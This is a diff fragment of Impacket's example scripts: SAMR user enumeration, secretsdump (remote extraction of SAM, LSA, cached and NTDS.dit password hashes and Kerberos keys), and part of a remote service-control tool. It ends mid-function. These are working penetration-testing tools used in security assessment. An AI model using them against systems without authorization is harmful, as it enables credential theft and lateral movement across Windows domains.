def __fetchList(self, rpctransport):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
|
||||
entries = []
|
||||
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
try:
|
||||
resp = samr.hSamrConnect(dce)
|
||||
serverHandle = resp['ServerHandle']
|
||||
|
||||
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
|
||||
domains = resp['Buffer']['Buffer']
|
||||
|
||||
print 'Found domain(s):'
|
||||
for domain in domains:
|
||||
print " . %s" % domain['Name']
|
||||
|
||||
logging.info("Looking up users in domain %s" % domains[0]['Name'])
|
||||
|
||||
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] )
|
||||
|
||||
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
|
||||
domainHandle = resp['DomainHandle']
|
||||
|
||||
status = STATUS_MORE_ENTRIES
|
||||
enumerationContext = 0
|
||||
while status == STATUS_MORE_ENTRIES:
|
||||
try:
|
||||
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext)
|
||||
except DCERPCException, e:
|
||||
if str(e).find('STATUS_MORE_ENTRIES') < 0:
|
||||
raise
|
||||
resp = e.get_packet()
|
||||
|
||||
for user in resp['Buffer']['Buffer']:
|
||||
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId'])
|
||||
print "Found user: %s, uid = %d" % (user['Name'], user['RelativeId'] )
|
||||
info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation)
|
||||
entry = (user['Name'], user['RelativeId'], info['Buffer']['All'])
|
||||
entries.append(entry)
|
||||
samr.hSamrCloseHandle(dce, r['UserHandle'])
|
||||
|
||||
enumerationContext = resp['EnumerationContext']
|
||||
status = resp['ErrorCode']
|
||||
|
||||
except ListUsersException, e:
|
||||
logging.critical("Error listing users: %s" % e)
|
||||
|
||||
dce.disconnect()
|
||||
|
||||
return entries
|
||||
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
# Explicitly changing the stdout encoding format
|
||||
if sys.stdout.encoding is None:
|
||||
# Output is redirected to a file
|
||||
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "This script downloads the list of users for the "
|
||||
"target system.")
|
||||
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('-csv', action='store_true', help='Turn CSV output')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
group = parser.add_argument_group('connection')
|
||||
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
|
||||
'ommited it use the domain part (FQDN) specified in the target parameter')
|
||||
group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If '
|
||||
'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '
|
||||
'name and you cannot resolve it')
|
||||
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
|
||||
help='Destination port to connect to SMB Server')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
|
||||
'ones specified in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
import re
|
||||
|
||||
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in remoteName:
|
||||
password = password + '@' + remoteName.rpartition('@')[0]
|
||||
remoteName = remoteName.rpartition('@')[2]
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if options.target_ip is None:
|
||||
options.target_ip = remoteName
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
dumper = SAMRDump(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, int(options.port), options.csv)
|
||||
dumper.dump(remoteName, options.target_ip)
|
||||
@@ -0,0 +1,358 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description: Performs various techniques to dump hashes from the
|
||||
# remote machine without executing any agent there.
|
||||
# For SAM and LSA Secrets (including cached creds)
|
||||
# we try to read as much as we can from the registry
|
||||
# and then we save the hives in the target system
|
||||
# (%SYSTEMROOT%\\Temp dir) and read the rest of the
|
||||
# data from there.
|
||||
# For NTDS.dit we either:
|
||||
# a. Get the domain users list and get its hashes
|
||||
# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
|
||||
# call, replicating just the attributes we need.
|
||||
# b. Extract NTDS.dit via vssadmin executed with the
|
||||
# smbexec approach.
|
||||
# It's copied on the temp dir and parsed remotely.
|
||||
#
|
||||
# The script initiates the services required for its working
|
||||
# if they are not available (e.g. Remote Registry, even if it is
|
||||
# disabled). After the work is done, things are restored to the
|
||||
# original state.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# References: Most of the work done by these guys. I just put all
|
||||
# the pieces together, plus some extra magic.
|
||||
#
|
||||
# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
|
||||
# http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
|
||||
# http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
|
||||
# http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
|
||||
# http://www.quarkslab.com/en-blog+read+13
|
||||
# https://code.google.com/p/creddump/
|
||||
# http://lab.mediaservice.net/code/cachedump.rb
|
||||
# http://insecurety.net/?p=768
|
||||
# http://www.beginningtoseethelight.org/ntsecurity/index.htm
|
||||
# http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf
|
||||
# http://www.passcape.com/index.php?section=blog&cmd=details&id=15
|
||||
#
|
||||
import argparse
|
||||
import codecs
|
||||
import logging
|
||||
import os
|
||||
import sys
|
||||
|
||||
from impacket import version
|
||||
from impacket.examples import logger
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
|
||||
|
||||
class DumpSecrets:
|
||||
def __init__(self, address, username='', password='', domain='', options=None):
|
||||
self.__useVSSMethod = options.use_vss
|
||||
self.__remoteAddr = address
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = options.aesKey
|
||||
self.__smbConnection = None
|
||||
self.__remoteOps = None
|
||||
self.__SAMHashes = None
|
||||
self.__NTDSHashes = None
|
||||
self.__LSASecrets = None
|
||||
self.__systemHive = options.system
|
||||
self.__securityHive = options.security
|
||||
self.__samHive = options.sam
|
||||
self.__ntdsFile = options.ntds
|
||||
self.__history = options.history
|
||||
self.__noLMHash = True
|
||||
self.__isRemote = True
|
||||
self.__outputFileName = options.outputfile
|
||||
self.__doKerberos = options.k
|
||||
self.__justDC = options.just_dc
|
||||
self.__justDCNTLM = options.just_dc_ntlm
|
||||
self.__justUser = options.just_dc_user
|
||||
self.__pwdLastSet = options.pwd_last_set
|
||||
self.__printUserStatus= options.user_status
|
||||
self.__resumeFileName = options.resumefile
|
||||
self.__canProcessSAMLSA = True
|
||||
self.__kdcHost = options.dc_ip
|
||||
|
||||
if options.hashes is not None:
|
||||
self.__lmhash, self.__nthash = options.hashes.split(':')
|
||||
|
||||
def connect(self):
|
||||
self.__smbConnection = SMBConnection(self.__remoteAddr, self.__remoteAddr)
|
||||
if self.__doKerberos:
|
||||
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey, self.__kdcHost)
|
||||
else:
|
||||
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
|
||||
def dump(self):
|
||||
try:
|
||||
if self.__remoteAddr.upper() == 'LOCAL' and self.__username == '':
|
||||
self.__isRemote = False
|
||||
self.__useVSSMethod = True
|
||||
localOperations = LocalOperations(self.__systemHive)
|
||||
bootKey = localOperations.getBootKey()
|
||||
if self.__ntdsFile is not None:
|
||||
# Let's grab target's configuration about LM Hashes storage
|
||||
self.__noLMHash = localOperations.checkNoLMHashPolicy()
|
||||
else:
|
||||
self.__isRemote = True
|
||||
bootKey = None
|
||||
try:
|
||||
try:
|
||||
self.connect()
|
||||
except:
|
||||
if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
|
||||
# SMBConnection failed. That might be because there was no way to log into the
|
||||
# target system. We just have a last resort. Hope we have tickets cached and that they
|
||||
# will work
|
||||
logging.debug('SMBConnection didn\'t work, hoping Kerberos will help')
|
||||
pass
|
||||
else:
|
||||
raise
|
||||
|
||||
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
|
||||
if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
|
||||
self.__remoteOps.enableRegistry()
|
||||
bootKey = self.__remoteOps.getBootKey()
|
||||
# Let's check whether target system stores LM Hashes
|
||||
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
|
||||
except Exception, e:
|
||||
self.__canProcessSAMLSA = False
|
||||
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
|
||||
and self.__doKerberos is True:
|
||||
# Giving some hints here when SPN target name validation is set to something different to Off
|
||||
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/
|
||||
logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
|
||||
else:
|
||||
logging.error('RemoteOperations failed: %s' % str(e))
|
||||
|
||||
# If RemoteOperations succeeded, then we can extract SAM and LSA
|
||||
if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
|
||||
try:
|
||||
if self.__isRemote is True:
|
||||
SAMFileName = self.__remoteOps.saveSAM()
|
||||
else:
|
||||
SAMFileName = self.__samHive
|
||||
|
||||
self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
|
||||
self.__SAMHashes.dump()
|
||||
if self.__outputFileName is not None:
|
||||
self.__SAMHashes.export(self.__outputFileName)
|
||||
except Exception, e:
|
||||
logging.error('SAM hashes extraction failed: %s' % str(e))
|
||||
|
||||
try:
|
||||
if self.__isRemote is True:
|
||||
SECURITYFileName = self.__remoteOps.saveSECURITY()
|
||||
else:
|
||||
SECURITYFileName = self.__securityHive
|
||||
|
||||
self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote=self.__isRemote)
|
||||
self.__LSASecrets.dumpCachedHashes()
|
||||
if self.__outputFileName is not None:
|
||||
self.__LSASecrets.exportCached(self.__outputFileName)
|
||||
self.__LSASecrets.dumpSecrets()
|
||||
if self.__outputFileName is not None:
|
||||
self.__LSASecrets.exportSecrets(self.__outputFileName)
|
||||
except Exception, e:
|
||||
logging.error('LSA hashes extraction failed: %s' % str(e))
|
||||
|
||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
|
||||
if self.__isRemote is True:
|
||||
if self.__useVSSMethod and self.__remoteOps is not None:
|
||||
NTDSFileName = self.__remoteOps.saveNTDS()
|
||||
else:
|
||||
NTDSFileName = None
|
||||
else:
|
||||
NTDSFileName = self.__ntdsFile
|
||||
|
||||
self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
|
||||
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
|
||||
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
|
||||
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
|
||||
outputFileName=self.__outputFileName, justUser=self.__justUser,
|
||||
printUserStatus= self.__printUserStatus)
|
||||
try:
|
||||
self.__NTDSHashes.dump()
|
||||
except Exception, e:
|
||||
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
||||
# We don't store the resume file if this error happened, since this error is related to lack
|
||||
# of enough privileges to access DRSUAPI.
|
||||
resumeFile = self.__NTDSHashes.getResumeSessionFile()
|
||||
if resumeFile is not None:
|
||||
os.unlink(resumeFile)
|
||||
logging.error(e)
|
||||
if self.__useVSSMethod is False:
|
||||
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
||||
self.cleanup()
|
||||
except (Exception, KeyboardInterrupt), e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
logging.error(e)
|
||||
if self.__NTDSHashes is not None:
|
||||
if isinstance(e, KeyboardInterrupt):
|
||||
while True:
|
||||
answer = raw_input("Delete resume session file? [y/N] ")
|
||||
if answer.upper() == '':
|
||||
answer = 'N'
|
||||
break
|
||||
elif answer.upper() == 'Y':
|
||||
answer = 'Y'
|
||||
break
|
||||
elif answer.upper() == 'N':
|
||||
answer = 'N'
|
||||
break
|
||||
if answer == 'Y':
|
||||
resumeFile = self.__NTDSHashes.getResumeSessionFile()
|
||||
if resumeFile is not None:
|
||||
os.unlink(resumeFile)
|
||||
try:
|
||||
self.cleanup()
|
||||
except:
|
||||
pass
|
||||
|
||||
def cleanup(self):
|
||||
logging.info('Cleaning up... ')
|
||||
if self.__remoteOps:
|
||||
self.__remoteOps.finish()
|
||||
if self.__SAMHashes:
|
||||
self.__SAMHashes.finish()
|
||||
if self.__LSASecrets:
|
||||
self.__LSASecrets.finish()
|
||||
if self.__NTDSHashes:
|
||||
self.__NTDSHashes.finish()
|
||||
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
# Explicitly changing the stdout encoding format
|
||||
if sys.stdout.encoding is None:
|
||||
# Output is redirected to a file
|
||||
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
|
||||
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from "
|
||||
"the remote machine without executing any agent there.")
|
||||
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address> or LOCAL'
|
||||
' (if you want to parse local files)')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
parser.add_argument('-system', action='store', help='SYSTEM hive to parse')
|
||||
parser.add_argument('-security', action='store', help='SECURITY hive to parse')
|
||||
parser.add_argument('-sam', action='store', help='SAM hive to parse')
|
||||
parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse')
|
||||
parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only '
|
||||
'available to DRSUAPI approach). This file will also be used to keep updating the session\'s '
|
||||
'state')
|
||||
parser.add_argument('-outputfile', action='store',
|
||||
help='base output filename. Extensions will be added for sam, secrets, cached and ntds')
|
||||
parser.add_argument('-use-vss', action='store_true', default=False,
|
||||
help='Use the VSS method insead of default DRSUAPI')
|
||||
group = parser.add_argument_group('display options')
|
||||
group.add_argument('-just-dc-user', action='store', metavar='USERNAME',
|
||||
help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. '
|
||||
'Implies also -just-dc switch')
|
||||
group.add_argument('-just-dc', action='store_true', default=False,
|
||||
help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)')
|
||||
group.add_argument('-just-dc-ntlm', action='store_true', default=False,
|
||||
help='Extract only NTDS.DIT data (NTLM hashes only)')
|
||||
group.add_argument('-pwd-last-set', action='store_true', default=False,
|
||||
help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data')
|
||||
group.add_argument('-user-status', action='store_true', default=False,
|
||||
help='Display whether or not the user is disabled')
|
||||
group.add_argument('-history', action='store_true', help='Dump password history')
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use'
|
||||
' the ones specified in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication'
|
||||
' (128 or 256 bits)')
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
|
||||
'ommited it use the domain part (FQDN) specified in the target parameter')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
import re
|
||||
|
||||
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in address:
|
||||
password = password + '@' + address.rpartition('@')[0]
|
||||
address = address.rpartition('@')[2]
|
||||
|
||||
if options.just_dc_user is not None:
|
||||
if options.use_vss is True:
|
||||
logging.error('-just-dc-user switch is not supported in VSS mode')
|
||||
sys.exit(1)
|
||||
elif options.resumefile is not None:
|
||||
logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch')
|
||||
sys.exit(1)
|
||||
elif address.upper() == 'LOCAL' and username == '':
|
||||
logging.error('-just-dc-user not compatible in LOCAL mode')
|
||||
sys.exit(1)
|
||||
else:
|
||||
# Having this switch on implies not asking for anything else.
|
||||
options.just_dc = True
|
||||
|
||||
if options.use_vss is True and options.resumefile is not None:
|
||||
logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode')
|
||||
sys.exit(1)
|
||||
|
||||
if address.upper() == 'LOCAL' and username == '' and options.resumefile is not None:
|
||||
logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode')
|
||||
sys.exit(1)
|
||||
|
||||
if address.upper() == 'LOCAL' and username == '':
|
||||
if options.system is None:
|
||||
logging.error('SYSTEM hive is always required for local parsing, check help')
|
||||
sys.exit(1)
|
||||
else:
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
dumper = DumpSecrets(address, username, password, domain, options)
|
||||
try:
|
||||
dumper.dump()
|
||||
except Exception, e:
|
||||
logging.error(e)
|
||||
@@ -0,0 +1,356 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# [MS-SCMR] services common functions for manipulating services
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# DCE/RPC.
|
||||
# TODO:
|
||||
# [ ] Check errors
|
||||
|
||||
import sys
|
||||
import argparse
|
||||
import logging
|
||||
import codecs
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from impacket.dcerpc.v5.ndr import NULL
|
||||
from impacket.crypto import *
|
||||
|
||||
|
||||
class SVCCTL:
|
||||
|
||||
def __init__(self, username, password, domain, options, port=445):
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__options = options
|
||||
self.__port = port
|
||||
self.__action = options.action.upper()
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = options.aesKey
|
||||
self.__doKerberos = options.k
|
||||
self.__kdcHost = options.dc_ip
|
||||
|
||||
if options.hashes is not None:
|
||||
self.__lmhash, self.__nthash = options.hashes.split(':')
|
||||
|
||||
def run(self, remoteName, remoteHost):
|
||||
|
||||
stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % remoteName
|
||||
logging.debug('StringBinding %s'%stringbinding)
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
rpctransport.set_dport(self.__port)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
|
||||
|
||||
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
self.doStuff(rpctransport)
|
||||
|
||||
def doStuff(self, rpctransport):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
#dce.set_credentials(self.__username, self.__password)
|
||||
dce.connect()
|
||||
#dce.set_max_fragment_size(1)
|
||||
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
|
||||
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
|
||||
dce.bind(scmr.MSRPC_UUID_SCMR)
|
||||
#rpc = svcctl.DCERPCSvcCtl(dce)
|
||||
rpc = dce
|
||||
ans = scmr.hROpenSCManagerW(rpc)
|
||||
scManagerHandle = ans['lpScHandle']
|
||||
if self.__action != 'LIST' and self.__action != 'CREATE':
|
||||
ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.name+'\x00')
|
||||
serviceHandle = ans['lpServiceHandle']
|
||||
|
||||
if self.__action == 'START':
|
||||
logging.info("Starting service %s" % self.__options.name)
|
||||
scmr.hRStartServiceW(rpc, serviceHandle)
|
||||
scmr.hRCloseServiceHandle(rpc, serviceHandle)
|
||||
elif self.__action == 'STOP':
|
||||
logging.info("Stopping service %s" % self.__options.name)
|
||||
scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
||||
scmr.hRCloseServiceHandle(rpc, serviceHandle)
|
||||
elif self.__action == 'DELETE':
|
||||
logging.info("Deleting service %s" % self.__options.name)
|
||||
scmr.hRDeleteService(rpc, serviceHandle)
|
||||
scmr.hRCloseServiceHandle(rpc, serviceHandle)
|
||||
elif self.__action == 'CONFIG':
|
||||
logging.info("Querying service config for %s" % self.__options.name)
|
||||
resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle)
|
||||
print "TYPE : %2d - " % resp['lpServiceConfig']['dwServiceType'],
|
||||
if resp['lpServiceConfig']['dwServiceType'] & 0x1:
|
||||
print "SERVICE_KERNEL_DRIVER ",
|
||||
if resp['lpServiceConfig']['dwServiceType'] & 0x2:
|
||||
print "SERVICE_FILE_SYSTEM_DRIVER ",
|
||||
if resp['lpServiceConfig']['dwServiceType'] & 0x10:
|
||||
print "SERVICE_WIN32_OWN_PROCESS ",
|
||||
if resp['lpServiceConfig']['dwServiceType'] & 0x20:
|
||||
print "SERVICE_WIN32_SHARE_PROCESS ",
|
||||
if resp['lpServiceConfig']['dwServiceType'] & 0x100:
|
||||
print "SERVICE_INTERACTIVE_PROCESS ",
|
||||
print ""
|
||||
print "START_TYPE : %2d - " % resp['lpServiceConfig']['dwStartType'],
|
||||
if resp['lpServiceConfig']['dwStartType'] == 0x0:
|
||||
print "BOOT START"
|
||||
elif resp['lpServiceConfig']['dwStartType'] == 0x1:
|
||||
print "SYSTEM START"
|
||||
elif resp['lpServiceConfig']['dwStartType'] == 0x2:
|
||||
print "AUTO START"
|
||||
elif resp['lpServiceConfig']['dwStartType'] == 0x3:
|
||||
print "DEMAND START"
|
||||
elif resp['lpServiceConfig']['dwStartType'] == 0x4:
|
||||
print "DISABLED"
|
||||
else:
|
||||
print "UNKOWN"
|
||||
|
||||
print "ERROR_CONTROL : %2d - " % resp['lpServiceConfig']['dwErrorControl'],
|
||||
if resp['lpServiceConfig']['dwErrorControl'] == 0x0:
|
||||
print "IGNORE"
|
||||
elif resp['lpServiceConfig']['dwErrorControl'] == 0x1:
|
||||
print "NORMAL"
|
||||
elif resp['lpServiceConfig']['dwErrorControl'] == 0x2:
|
||||
print "SEVERE"
|
||||
elif resp['lpServiceConfig']['dwErrorControl'] == 0x3:
|
||||
print "CRITICAL"
|
||||
else:
|
||||
print "UNKOWN"
|
||||
print "BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1]
|
||||
print "LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1]
|
||||
print "TAG : %d" % resp['lpServiceConfig']['dwTagId']
|
||||
print "DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1]
|
||||
print "DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1]
|
||||
print "SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1]
|
||||
elif self.__action == 'STATUS':
|
||||
print "Querying status for %s" % self.__options.name
|
||||
resp = scmr.hRQueryServiceStatus(rpc, serviceHandle)
|
||||
print "%30s - " % self.__options.name,
|
||||
state = resp['lpServiceStatus']['dwCurrentState']
|
||||
if state == scmr.SERVICE_CONTINUE_PENDING:
|
||||
print "CONTINUE PENDING"
|
||||
elif state == scmr.SERVICE_PAUSE_PENDING:
|
||||
print "PAUSE PENDING"
|
||||
elif state == scmr.SERVICE_PAUSED:
|
||||
print "PAUSED"
|
||||
elif state == scmr.SERVICE_RUNNING:
|
||||
print "RUNNING"
|
||||
elif state == scmr.SERVICE_START_PENDING:
|
||||
print "START PENDING"
|
||||
elif state == scmr.SERVICE_STOP_PENDING:
|
||||
print "STOP PENDING"
|
||||
elif state == scmr.SERVICE_STOPPED:
|
||||
print "STOPPED"
|
||||
else:
|
||||
print "UNKOWN"
|
||||
elif self.__action == 'LIST':
|
||||
logging.info("Listing services available on target")
|
||||
#resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS )
|
||||
#resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS )
|
||||
#resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL )
|
||||
resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle)
|
||||
for i in range(len(resp)):
|
||||
print "%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1]),
|
||||
state = resp[i]['ServiceStatus']['dwCurrentState']
|
||||
if state == scmr.SERVICE_CONTINUE_PENDING:
|
||||
print "CONTINUE PENDING"
|
||||
elif state == scmr.SERVICE_PAUSE_PENDING:
|
||||
print "PAUSE PENDING"
|
||||
elif state == scmr.SERVICE_PAUSED:
|
||||
print "PAUSED"
|
||||
elif state == scmr.SERVICE_RUNNING:
|
||||
print "RUNNING"
|
||||
elif state == scmr.SERVICE_START_PENDING:
|
||||
print "START PENDING"
|
||||
elif state == scmr.SERVICE_STOP_PENDING:
|
||||
print "STOP PENDING"
|
||||
elif state == scmr.SERVICE_STOPPED:
|
||||
print "STOPPED"
|
||||
else:
|
||||
print "UNKOWN"
|
||||
print "Total Services: %d" % len(resp)
|
||||
elif self.__action == 'CREATE':
|
||||
logging.info("Creating service %s" % self.__options.name)
|
||||
scmr.hRCreateServiceW(rpc, scManagerHandle, self.__options.name + '\x00', self.__options.display + '\x00',
|
||||
lpBinaryPathName=self.__options.path + '\x00')
|
||||
elif self.__action == 'CHANGE':
|
||||
logging.info("Changing service config for %s" % self.__options.name)
|
||||
if self.__options.start_type is not None:
|
||||
start_type = int(self.__options.start_type)
|
||||
else:
|
||||
start_type = scmr.SERVICE_NO_CHANGE
|
||||
if self.__options.service_type is not None:
|
||||
service_type = int(self.__options.service_type)
|
||||
else:
|
||||
service_type = scmr.SERVICE_NO_CHANGE
|
||||
|
||||
if self.__options.display is not None:
|
||||
display = self.__options.display + '\x00'
|
||||
else:
|
||||
display = NULL
|
||||
|
||||
if self.__options.path is not None:
|
||||
path = self.__options.path + '\x00'
|
||||
else:
|
||||
path = NULL
|
||||
|
||||
if self.__options.start_name is not None:
|
||||
start_name = self.__options.start_name + '\x00'
|
||||
else:
|
||||
start_name = NULL
|
||||
|
||||
if self.__options.password is not None:
|
||||
